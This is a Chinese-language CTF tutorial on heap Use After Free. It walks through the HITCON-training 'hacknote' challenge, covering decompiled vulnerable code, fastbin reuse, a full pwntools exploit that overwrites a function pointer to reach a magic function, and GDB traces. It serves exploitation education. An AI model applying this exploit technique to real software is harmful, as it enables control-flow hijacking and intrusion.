CTF 堆利用入门:Use After Free 原理剖析与 HITCON hacknote 实战
CTF 堆利用入门:Use After Free 原理剖析与 HITCON hacknote 实战
导读
本文聚焦堆利用体系中最基础的漏洞类型——Use After Free(UAF,释放后使用),以 ctf-wiki 仓库 use-after-free.md 为主线,从漏洞原理、触发条件讲起,并以 HITCON-training 的 hacknote 题目为完整案例,带你走通"分析功能 → 定位释放未置空 → 结合 fastbin 复用机制 → 覆盖函数指针 → 劫持控制流"的完整利用链路。读完本文,你将掌握 dangling pointer 的成因、fastbin 的 LIFO 分配规则,以及如何用 pwntools 脚本 + GDB 验证每一步堆块复用过程。
UAF 漏洞原理:被释放后再次使用的内存
Use After Free 的含义正如其字面:当一个内存块被释放之后再次被使用。根据释放后指针与内存块状态的不同,可以细分为以下三种情况:
- 指针置空后使用:内存块被释放后,其对应指针被设置为
NULL,之后再使用该指针,程序自然崩溃——这属于开发者正确释放但误用的情况,不属于可利用的漏洞; - 释放后未修改即使用:内存块被释放后,其对应指针没有被设置为 NULL,且在下一次使用之前没有任何代码对该内存块进行修改,那么程序很有可能可以正常运转(因为堆块内容此时仍保留原样);
- 释放后被修改再使用:内存块被释放后,指针没有置空,且在下一次使用之前有代码对该内存块进行了修改(例如又被 malloc 分配出去并写入新数据),那么程序再次使用这块内存时,就很有可能会出现奇怪的问题。
我们一般所指的 Use After Free 漏洞主要是后两种情况。同时,被释放后没有设置为 NULL 的内存指针被称为 dangling pointer(悬垂指针)。悬垂指针的存在,使得攻击者可以在内存块被重新分配后,通过旧指针间接读写已被"他人"占据的内存区域,这是整个利用链的起点。
一个最直观的示例程序
仓库文档中给出了一个非常直观的 C 语言示例,完整演示了上述三种情况:
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a->func = myprint;
a->myname = "I can also use it";
a->func("this is my function");
// free without modify
free(a);
a->func("I can also use it");
// free with modify
a->func = printmyname;
a->func("this is my function");
// set NULL
a = NULL;
printf("this pogram will crash...\n");
a->func("can not be printed...");
}
运行结果如下:
➜ use_after_free git:(use_after_free) ✗ ./use_after_free
this is my function
I can also use it
call print my name
this pogram will crash...
[1] 38738 segmentation fault (core dumped) ./use_after_free
注意观察输出序列:第一次 free(a) 之后,a->func 仍然是 myprint 的地址,调用它依然能正常打印;随后把 a->func 改为 printmyname 再调用,输出也正常;只有将 a 置为 NULL 后再调用 a->func(...),才触发 segmentation fault。这说明:free 只归还堆块,并不会清空指针,也不会清空堆块里的内容——这就是 UAF 能被利用的根本前提。而结构体中的函数指针 func,正是堆块内容的一部分,若这块内存被重新分配并写入攻击者可控数据,a->func 就可能被替换为任意地址。
实战题目:HITCON-training lab 10 hacknote
功能分析
本题来自 HITCON-training 的 lab 10,程序开头有一个菜单,包含四个选项:
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
程序主要有三个功能:add_note(添加 note)、del_note(删除 note)、print_note(打印 note)。程序最多可以添加 5 个 note,每个 note 有两个字段:void (*printnote)(); 与 char *content;,其中 printnote 被设置为一个函数,其功能是输出 content 的具体内容。note 的结构体定义如下:
struct note {
void (*printnote)();
char *content;
};
add_note:申请两个堆块
add_note 函数的反编译代码如下(32 位程序):
unsigned int add_note()
{
note *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
notelist[i]->put = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0->content = malloc(size);
if ( !notelist[i]->content )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
关键点有二:
- 每个 note 会触发两次 malloc:第一次
malloc(8u)申请 8 字节存放note结构体(即printnote函数指针 +content指针);第二次malloc(size)按用户输入的大小申请 real content 内存; - 写入 content 时使用
read(0, notelist[i]->content, size),大小完全由用户控制,可以精确控制写多少个字节到 content 区。
print_note:按索引调用函数指针
print_note 根据给定索引取出对应 note,并调用其 printnote 函数指针:
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
notelist[v1]->put(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}
注意索引校验只是 v1 < 0 || v1 >= count,而 count 是"已添加过的 note 数量",即使 note 已被释放,count 也不会减少——也就是说,释放后的 note 仍然可以通过索引被访问。
del_note:只 free 不置空
del_note 根据给定索引释放对应的 note:
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(notelist[v1]->content);
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
漏洞非常明显:删除时只是单纯执行了 free,既没有将 notelist[v1] 置为 NULL,也没有清除 printnote 字段。由于 notelist[v1] 依然保留着已被释放的堆块地址,且 print_note 的索引校验只看 count,这里就存在标准的 Use After Free 情况。
利用思路:把 printnote 覆盖为 magic 函数
既然存在 UAF,那么如何利用它?观察程序,其中还有一个 magic 函数,我们的目标是通过 use after free 使得程序执行 magic 函数。一个很直接的想法是:修改 note 的 printnote 字段为 magic 函数的地址,这样当程序执行 printnote 时就会执行 magic 函数。那么具体该怎么做到呢?
先梳理每个 note 生成时的内存布局:
- 程序申请 8 字节内存用来存放 note 中的
printnote以及content指针; - 程序根据输入的 size 申请指定大小的内存,用来存储 content。
+-----------------+
| printnote |
+-----------------+
| content | size
+-----------------+------------------->+----------------+
| real |
| content |
| |
+----------------+
为什么能利用 fastbin 复用
根据仓库 堆概述 的介绍,glibc 的 ptmalloc2 分配器通过 malloc/free 管理堆块,被释放的内存不会立即归还操作系统,而是由堆管理器放入对应的 bin 中,用于响应后续的申请请求。note 结构体本身只有 8 字节用户数据,加上 chunk 头后是一个 fastbin chunk(大小 16 字节)。
fastbin 的关键特性是:相同大小的被释放 chunk 以单链表(fd 指针)形式组织,采用 LIFO(后进先出)规则。仓库中的 fastbin-attack.md 详细演示了这一机制——依次释放 chunk1、chunk2、chunk3 后,位于 main_arena 的 fastbin 链表头部指针指向 chunk3,链表顺序为 chunk3 → chunk2 → chunk1;下次 malloc 相同大小时会先返回 chunk3。这正是 hacknote 利用的核心:只要让新申请的 content 与旧的 note 结构体落在同一个 fastbin 桶里,写入 content 就能覆盖旧 note 的函数指针。
我们的目标是让某个 note 的 put 字段变成 magic 的地址。由于程序中只有 add_note 里唯一一处对 printnote 进行赋值(赋值为 print_note_content),所以必须利用写 real content 的时候进行覆盖。具体思路如下:
- 申请 note0,real content size 为 16(与 note 大小所在的 bin 大小不同即可,保证二者不在同一个 fastbin 桶中互相干扰);
- 申请 note1,real content size 为 16(同上);
- 释放 note0;
- 释放 note1;
- 此时,大小为 16 的 fastbin chunk 链表中为 note1 → note0(后释放的 note1 在表头);
- 申请 note2,并设置 real content 的大小为 8,那么根据堆的分配规则:
- note2 结构体会分配 note1 对应的内存块;
- note2 的 real content 会分配 note0 对应的内存块;
- 此时向 note2 的 real content chunk 写入 magic 的地址,由于
notelist[0]没有被置为 NULL,当我们再次尝试输出 note0 时,程序就会调用 magic 函数。
这里注意 content 大小选择 8 字节:在 32 位系统上,note 结构体(8 字节用户区 + 8 字节 chunk 头 = 16 字节)与 content 为 8 字节(8 字节用户区 + 8 字节 chunk 头 = 16 字节)的堆块恰好属于同一个 fastbin(size 0x10),因此 free 之后二者会进入同一条 fastbin 链表,可以互相复用。
利用脚本(pwntools)
完整的利用脚本如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
#gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
r.interactive()
流程拆解:
addnote(32, ...)添加 note0、note1,real content 大小 32 字节(0x28 的 chunk,属于另一个 fastbin 桶,避免与 0x10 的 note 结构体混淆);delnote(0)、delnote(1)依次释放 note0、note1,注意删除顺序:先释放 note0(content 与结构体先后进入对应 fastbin),再释放 note1;addnote(8, p32(magic))申请 note2 且 content 大小为 8——note2 的结构体拿到 note1 的 8 字节堆块,note2 的 content 拿到 note0 的结构体堆块,随后p32(magic)恰好 4 字节写入 note0 结构体的printnote字段(即覆盖函数指针);printnote(0)打印 note0,此时执行的是已被覆盖为magic地址的函数指针,从而触发 magic 函数,输出 flag。
magic = 0x08048986 是 32 位程序中 magic 函数的固定地址(该题无 PIE 保护,故地址可直接硬编码)。
GDB 验证:逐块还原 fastbin 复用过程
为了验证上述利用思路,可以用 GEF 在关键位置下断点,观察每一次 malloc/free 返回的地址,完整还原堆块复用过程。先对两处 malloc 和两处 free 下断点:
gef➤ b *0x0804875C
Breakpoint 1 at 0x804875c
gef➤ b *0x080486CA
Breakpoint 2 at 0x80486ca
gef➤ b *0x08048893
Breakpoint 3 at 0x8048893
gef➤ b *0x080488A9
Breakpoint 4 at 0x80488a9
继续执行程序,可以看出申请 note0 时,所申请到的结构体内存块地址为 0x0804b008(eax 存储函数返回值):
$eax : 0x0804b008 → 0x00000000
$ebx : 0x00000000
$ecx : 0xf7fac780 → 0x00000000
$edx : 0x0804b008 → 0x00000000
$esp : 0xffffcf10 → 0x00000008
$ebp : 0xffffcf48 → 0xffffcf68 → 0x00000000
$eip : 0x080486cf → <add_note+89> add esp, 0x10
用 gef➤ heap chunk 0x0804b008 确认该堆块信息:
gef➤ heap chunk 0x0804b008
UsedChunk(addr=0x804b008, size=0x10)
Chunk size: 16 (0x10)
Usable size: 12 (0xc)
Previous chunk size: 0 (0x0)
PREV_INUSE flag: On
注意 Usable size: 12,即 8 字节用户数据 + 对齐到 16 字节,证实 note 结构体属于 0x10 的 fastbin。接着,申请 note0 的 content 返回地址 0x0804b018,其 chunk 大小为 0x28(用户请求 32 字节):
$eax : 0x0804b018 → 0x00000000
$ebx : 0x0804b008 → 0x0804865b → <print_note_content+0> push ebp
$esp : 0xffffcf10 → 0x00000020
$eip : 0x08048761 → <add_note+235> add esp, 0x10
类似地,note1 的结构体与 content 地址分别为 0x0804b040 和 0x0804b050。用 grep 命令可以确认 note0、note1 的 content 确实写入了对应内存块:
gef➤ grep aaaa
[+] Searching 'aaaa' in memory
[+] In '[heap]'(0x804b000-0x806c000), permission=rw-
0x804b018 - 0x804b01c → "aaaa"
gef➤ grep ddaa
[+] Searching 'ddaa' in memory
[+] In '[heap]'(0x804b000-0x806c000), permission=rw-
0x804b050 - 0x804b054 → "ddaa"
观察 free 与 fastbin 链表变化
进入 del_note 的 free 断点,可以看到首先 free 的是 note0 的 content(0x0804b018):
→ 0x8048893 <del_note+143> call 0x80484c0 <free@plt>
↳ 0x80484c0 <free@plt+0> jmp DWORD PTR ds:0x804a018
...
['0xffffcf20', 'l8']
8
0xffffcf20│+0x00: 0x0804b018 → "aaaa" ← $esp
然后是 note0 结构体本身(0x0804b008):
→ 0x80488a9 <del_note+165> call 0x80484c0 <free@plt>
...
0xffffcf20│+0x00: 0x0804b008 → 0x0804865b → <print_note_content+0> push ebp ← $esp
delete 结束后,查看 bins,可以发现释放的堆块确实被放入了对应的 fastbin 中:
gef➤ heap bins
───────────────────────────────────────────────────────────[ Fastbins for arena 0xf7fac780 ]───────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x8] ← UsedChunk(addr=0x804b008, size=0x10)
Fastbins[idx=1, size=0xc] 0x00
Fastbins[idx=2, size=0x10] 0x00
Fastbins[idx=3, size=0x14] ← UsedChunk(addr=0x804b018, size=0x28)
Fastbins[idx=4, size=0x18] 0x00
Fastbins[idx=5, size=0x1c] 0x00
Fastbins[idx=6, size=0x20] 0x00
当 note1 也全部删除完毕后,再次查看 bins,可以清楚地看到后删除的 chunk 块确实处于链表表头(这正是 fastbin 的 LIFO 特性):
gef➤ heap bins
───────────────────────────────────────────────────────────[ Fastbins for arena 0xf7fac780 ]───────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x8] ← UsedChunk(addr=0x804b040, size=0x10) ← UsedChunk(addr=0x804b008, size=0x10)
Fastbins[idx=1, size=0xc] 0x00
Fastbins[idx=2, size=0x10] 0x00
Fastbins[idx=3, size=0x14] ← UsedChunk(addr=0x804b050, size=0x28) ← UsedChunk(addr=0x804b018, size=0x28)
Fastbins[idx=4, size=0x18] 0x00
Fastbins[idx=5, size=0x1c] 0x00
Fastbins[idx=6, size=0x20] 0x00
可以观察到 0x10 桶的链表为 0x804b040 (note1) → 0x804b008 (note0),0x28 桶的链表为 0x804b050 (note1 content) → 0x804b018 (note0 content)。
验证 note2 的堆块复用与指针覆盖
此时即将申请 note2。可以看到 note2 结构体分配到的内存块为 0x804b040,正是 note1 对应的内存地址:
[+] Heap-Analysis - malloc(8)=0x804b040
[+] Heap-Analysis - malloc(8)=0x804b040
0x080486cf in add_note ()
...
$eax : 0x0804b040 → 0x0804b000 → 0x00000000
$eip : 0x080486cf → <add_note+89> add esp, 0x10
接着申请 note2 的 content,内存地址为 0x804b008,就是 note0 对应的地址——此时向 note2 的 content 写内容,就会覆盖 note0 的 put 字段:
gef➤ n 1
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - malloc(8)=0x804b008
0x08048761 in add_note ()
...
$eax : 0x0804b008 → 0x00000000
$ebx : 0x0804b040 → 0x0804865b → <print_note_content+0> push ebp
$esp : 0xffffcf10 → 0x00000008
$eip : 0x08048761 → <add_note+235> add esp, 0x10
覆盖前查看该内存块:printnote 指针已经被置为 NULL,这是由 fastbin 的 free 机制决定的(chunk 被释放进入 fastbin 时,其 fd 位置会被写入下一个空闲 chunk 的地址,而 16 字节 chunk 恰好把该区域写在 printnote 字段上):
gef➤ x/2xw 0x804b008
0x804b008: 0x00000000 0x0804b018
覆盖后,具体的值如下:
gef➤ x/2xw 0x804b008
0x804b008: 0x08048986 0x0804b00a
gef➤ x/i 0x08048986
0x8048986 <magic>: push ebp
可以看出,printnote 字段确实已经被覆盖为我们所想要的 magic 函数地址。最后执行的效果如下:
[+] Starting local process './hacknote': pid 35030
[*] Switching to interactive mode
flag{use_after_free}----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
程序成功输出了 flag。
使用 heap-analysis-helper 观察整体分配释放
还可以借助 GEF 的 heap-analysis-helper 插件来看整体堆的申请与释放情况:
gef➤ heap-analysis-helper
[*] This feature is under development, expect bugs and unstability...
[+] Tracking malloc()
[+] Tracking free()
[+] Tracking realloc()
[+] Disabling hardware watchpoints (this may increase the latency)
[+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found.
[*] Note: The heap analysis slows down noticeably the execution.
gef➤ c
Continuing.
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - malloc(32)=0x804b018
[+] Heap-Analysis - malloc(8)=0x804b040
[+] Heap-Analysis - malloc(32)=0x804b050
[+] Heap-Analysis - free(0x804b018)
[+] Heap-Analysis - watching 0x804b018
[+] Heap-Analysis - free(0x804b008)
[+] Heap-Analysis - watching 0x804b008
[+] Heap-Analysis - free(0x804b050)
[+] Heap-Analysis - watching 0x804b050
[+] Heap-Analysis - free(0x804b040)
[+] Heap-Analysis - watching 0x804b040
[+] Heap-Analysis - malloc(8)=0x804b040
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - Cleaning up
[+] Heap-Analysis - Re-enabling hardware watchpoints
[New process 36248]
process 36248 is executing new program: /bin/dash
[New process 36249]
process 36249 is executing new program: /bin/cat
[Inferior 3 (process 36249) exited normally]
这里的 malloc/free 序列完整还原了利用过程:free(0x804b008)(note0 结构体)、free(0x804b040)(note1 结构体)之后,malloc(8) 两次分别返回 0x804b040(note1 结构体,被 note2 复用)与 0x804b008(note0 结构体,被 note2 的 content 复用)。第一条输出重复了两次,应是 GEF 工具本身的问题,不影响结论。最后 magic 函数内部调用了 /bin/dash 与 /bin/cat,说明控制流劫持成功。
从 hacknote 到通用 UAF 利用范式
hacknote 是理解 UAF 的最佳入门题,但它的利用手法完全可以抽象为通用范式,迁移到其他题目:
- 寻找悬挂指针:定位程序中
free之后未置 NULL、且仍可被索引/访问的指针(注意索引校验逻辑,如 hacknote 中count不减); - 识别可复用的 bin:判断被释放堆块会进入哪个 bin(fastbin / unsorted bin / tcache 等),并确认目标堆块与新申请的堆块是否同桶;
- 用旧指针触发读写:通过新申请的堆块向被复用的旧堆块写入攻击载荷(如覆盖函数指针、
fd指针、size 域等); - 劫持控制流:触发旧指针对应的功能(如
printnote),执行已被覆盖的函数指针。
从仓库 fastbin-attack.md 可以看到,UAF 是 fastbin 系列攻击(Fastbin Double Free、House of Spirit、Alloc to Stack、Arbitrary Alloc)的前提之一——只要能控制 fastbin chunk 的内容,就可以进一步篡改 fd 指针,实现任意地址分配、覆盖 __malloc_hook 等进阶效果。hacknote 正是"通过 UAF 控制已被释放堆块内容"这一思路的最小演示。
此外,若题目运行在新版 glibc(引入 tcache 的 2.26+)上,利用路径会更简单:tcache 同 size 的桶同样为 LIFO 结构,且缺少对 double free 的严格检查(详见仓库 tcache-attack.md),UAF 常被用来直接构造 tcache poisoning。但核心思想——"释放后通过旧指针控制被复用堆块"——始终不变。
相关练习题目
掌握了上述利用流程后,可以尝试以下题目巩固:
- 2016 HCTF fheap:同样是经典的 UAF 利用题,可作为后续练习,尝试独立分析其结构与利用思路。
深入阅读
- use-after-free.md:本文主线文档,包含完整的原理、示例与 hacknote 全过程;
- 堆概述:理解 malloc/free 背后的 ptmalloc2 机制、arena 与系统调用关系;
- 堆相关数据结构:深入 chunk 结构、bin 的底层实现;
- Fastbin Attack:fastbin 单链表与 LIFO 机制,以及 Double Free、House of Spirit、Alloc to Stack、Arbitrary Alloc 四种利用手法;
- Tcache Attack:新版 glibc 下 tcache 相关的利用;
- 堆溢出:与 UAF 并列的另一种常见堆漏洞,可对照学习。